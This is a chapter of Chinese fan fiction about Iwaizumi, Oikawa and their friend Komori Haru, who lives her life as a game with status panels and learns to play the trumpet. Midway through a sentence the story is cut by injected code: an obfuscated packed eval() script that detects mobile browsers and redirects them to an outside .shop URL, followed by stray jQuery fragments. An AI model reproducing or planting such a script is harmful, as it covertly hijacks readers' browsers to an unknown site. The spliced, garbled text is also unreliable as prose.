尽管没有记忆，岩泉一认识小森晴的年龄是2岁，认识及川彻的年龄的3岁。按妈妈的说法，他们是从穿开裆裤就一起玩的朋友。
就地理位置上来说，岩泉宅跟小森宅更近。小时候也是岩泉一先认识阿晴，再认识的及川彻。阿彻是以他的朋友的身份与阿晴结识，但阿晴跟阿彻更能玩闹在一起，他们两个人待在一起恨不得把房顶都掀起来。
身为家中独子的岩泉一，意外感受到了多子家庭中长男的责任感。当然，他本人并不承认。
直到中学三年级，部里新来的后辈佩服他总是能轻松照顾到每个人，问他有什么诀窍。岩泉一本来说他从小就一直充当那个看顾两个幼驯染的角色才如此擅长，后辈却问起除了及川前辈另一个前辈是谁。岩泉一指着前不久刚照的合照，笑着说出了阿晴的名字。
“好可爱的前辈！她也是我们排球部的吗，怎么从来没见过？”
“去年夏天因为父母工作变动转学了。”
“好可惜，想再见到会有点困难吧。”
那个时候，他听到了自己身体里的空掉的部分被风穿过的回响。
岩泉一前脚刚从超市出来，后脚就收到了来自发小及川彻的邮件。邮件内容只有一张照片，他跟一个黑发女生的自拍照。两张脸带着一样的笑容，动作也一样，剪刀手、吐舌、wink，哪怕五官不一样，也好像一对双胞胎。一张脸很熟悉，另一张脸依然有些陌生，但他能看出来那是谁。
岩泉一本想用手机回复一句，但还是决定直接见面。十几分钟后，提着食物的塑料袋，岩泉一按响小森家的门铃。
“来了！”
前来开门的是穿着印着粉色兔子的白围裙及川彻。作为背景的黑发女生自己推着轮椅，从后面探出一个脑袋，头上带着跟及川彻身上同一套的兔子防尘帽。
“好快！iwa酱你怎么这么快！！输了！打赌输了啊！去去，再过五分，明明只要再过五分钟我就赢了！”及川彻拿着鸡毛掸子佯装晦气般扫了扫岩泉一身边的空气。
“揍你哦”，岩泉一斜了及川彻一眼，小声道，之后把手里的食物交给及川彻，堵住发小聒噪的嘴。
他望向女生，吸了口气，说：“那个……”
“耶！赢了！”她坐在轮椅上，双手攥拳用力向下挥去：“我就说阿一看到邮件绝对会20分钟以内赶来——啊！好久不见！阿一！我一直在等你哦！爸爸说今天晚上我就交给你了！”
阿晴有一双黑亮黑亮的葡萄眼睛，在这双眼睛的注视下，岩泉一松开了紧紧抿着的嘴角，很顺畅地接下了话：“好久不见，阿晴，你还是老样子，很可爱。”
小森被夸了，她捧着脸：“呀~谢谢！不要说这些客气话啦，进入正题，晚上是吃炖菜？”
“噫~”，及川彻把脑袋从装着蔬菜的塑料袋中抬起来，哼哼两声：“噗噗，猜错了！是咖喱！”
“对，是咖喱。今天我父母不在家，这边的厨房收拾出来了吗，我来做饭，味道的话可能一般。”岩泉一说着，换掉鞋子，抓着及川彻往厨房走：“及川，来帮忙。”
小森对及川彻做了个嘲笑的鬼脸，稍后还是乖乖跟了上去。
厨房当然没有收拾，不管对于半截残废的女儿还是远在东京的父亲，厨房的需求永远不是第一顺位。不过刀具跟锅都有，只要拆掉纸箱，就可以直接使用。
两个男生合理拆开纸箱，小森再触摸其他未开封纸箱时，上面已经没有任何文字提示，只有‘电饭锅’、‘刀具’、‘面包机’……之类的物品名称。
等等！
玩家忽然意识到——她可以开始探索房间内部了？！
意识到这一点，她连忙加入了拆箱子大军。不知道是不是游戏加成，她拆箱子的速度总是更利索，甚至她只要伸出手就知道里面有什么，从而有效率地将物品分门别类地拿出来安顿好。
不一会儿玩家就把整个厨房的纸箱转了个遍。
“阿晴，要不你先出去……”
及川彻刚开口，不知道为什么从拆箱子开始就两眼放光的女生嗖地从他身边窜了出去。
“好！知道了！”1秒时间，小森的声音一闪而过。
他还没见过人能操纵轮椅这么快过。
如果小森知道及川彻心中的想法，一定会告诉他——玩家面对一切可探索的事物时都会保持200%的热情。
‘获得‘风干昆布’*1（可食用）’
‘获得‘酒精饮料’*3（可食用）’
‘获得‘临期饼干’*1（可食用）’
……
‘获得‘未知五线谱’*1（可学习）’
在玩拆箱子游戏之前，小森注意到了在厨房捡到的一堆干巴食物中唯一的非可食用物品。
‘是否学习‘未知五线谱’？’
是！
‘已学习‘未知五线谱’*1，你的状态更新了，请注意查看。’
查看状态！
‘状态：双腿瘫痪（可治愈，体力-50%；精神-30%）
精神：30%+50%（精神很好！）
体力：7%（食欲不振、残疾、无力、贫血、气虚……濒临崩溃）
技能：小号吹奏（经验：1）’
小森望着刚出现的新东西，终于发出了一声——欸！？
这游戏怎么还有技能？
这不是乙游吗？
小森伸手戳了戳面前透明面板，理所当然，她的手指穿过了面板。
小号吹奏，是她想的那个东西吗？字面意思？
信息太少，小森无从得知。她只好点开地图，在一众房间中找到了一间标注着‘音乐房’的房间，并走了进去。
房间位于一楼西洋风装潢的部分，一走进这个房间，小森忽然感到一阵全身心的喜悦。这个房间棕色的地板瓷砖好看，墙纸好看，窗户好看，浅色的窗帘轻飘飘的，采光也好，站在房间正中央感觉耳朵都更灵敏。
房间不大，好像墙体做了隔音处理，靠墙有两个架子，架子下面放着四五个纸箱。
拆开第一只箱子，里面放了三个黑色尼龙布的长包，还有一些防震的泡沫塑料纸。打开包裹里面是两银一金的铜管乐器，小
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173466|150531||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
森并不认识，但知道是经常在电视里看到乐团的演奏乐器之一。
触摸：
‘名字为‘可乐’的小号’、‘名字为‘圣甲虫’的小号’、‘名字为‘飞鸟’的小号’
第二个跟第三个箱子很重，打开以后一片金金音音，仔细看是比赛的奖杯跟荣誉证书。
‘获得‘未知五线谱’*2（可学习）’
第四个跟第五个箱子很大，但里面是一些杂物：一些铁制的长条，一些乱七八糟的乐理书，甚至还有一颗瘪了的排球。
小森学习了刚刚获得的‘未知五线谱’，经验涨到3。之后她从乐理书中抽出一本像是手写的五线谱，翻开其中一页，上面浮出‘《练习曲8》简易版五线谱（经验需要：4）’，属于不可演奏的状态。
因为不知道怎么玩，小森将视线投向最开始的纸箱，她选了其中最颜色最亮的金色小号，这是‘我’取名为飞鸟的小号。
既然技能是‘吹奏小号’，那她现在应该是会吹了吧？
不确定，再看看。
小森拿到身体冰凉的金属管乐，漂亮的漆面倒映着她懵懂无知的脸。她将小喇叭的孔洞对准眼睛，世界并没有发生变化，之后她用嘴对准大概是吹气的地方，吸了一口气，然后用力呼气——
“咳咳！”
不好！用力过头了！奇怪，她怎么吹不响？难道不是这么吹的？？
小森一脸郁闷地放下小号，还以为自己会变成音乐大师呢！
算了，这个以后再说。
因为‘我’似乎很喜欢这些乐器，小森也没有随便丢回去，而是弯腰吭哧吭哧吧小号装进长形包里再放回去。在她弯腰时，那本最开始被她翻开的乐谱无风自动，往前翻回数页。像是怕被主人抛弃，一行文字浮现眼前：
‘《练习曲2》五线谱（需要经验：2，可吹奏）’
小森放回小号的手指一顿，她鬼使神差地点击了开始。紧接着，她的脑中忽然浮现起模糊的指引，她从小号包里摸出一个银色的号嘴，将号嘴安装上去，再度深吸了一口气。她似乎看到了很远的地方，在那里声音是一切的源头。
——也许是这一口新鲜的空气带来足够多的氧气充满大脑，也许是挺起的胸脯唤醒了‘我’以前的肌肉记忆，又或者只是单纯的游戏效果。
小森轻轻扬起下巴，嘴唇抿起，半含住有些金属味道的号嘴，胸肺中一口空气在铜管中震动共鸣、仿佛清晨阳光洒下森林，第一支鸟振翅起飞时的鸣叫。
极具穿透力的嘹亮声音刺穿安静许久的空气，热量腾空、灰尘四散，唤醒了沉睡已久的灵魂。
远在厨房的两个少年同时闭上了嘴，他们放下手头的事，纷纷回头朝着声音出现的源头看去。
欢快轻松，张扬向上，即使只是听都能想象出女孩子蹦蹦跳跳吹奏的样子。
音乐中的情绪跨越了语言这个载体，及川彻静静听了一会儿，突然回头看向岩泉一，说：“阿一，你还记得那件事吗？”
岩泉一嘴角的笑意还没完全消散，他问：“哪件？”
“就是告白那件事。”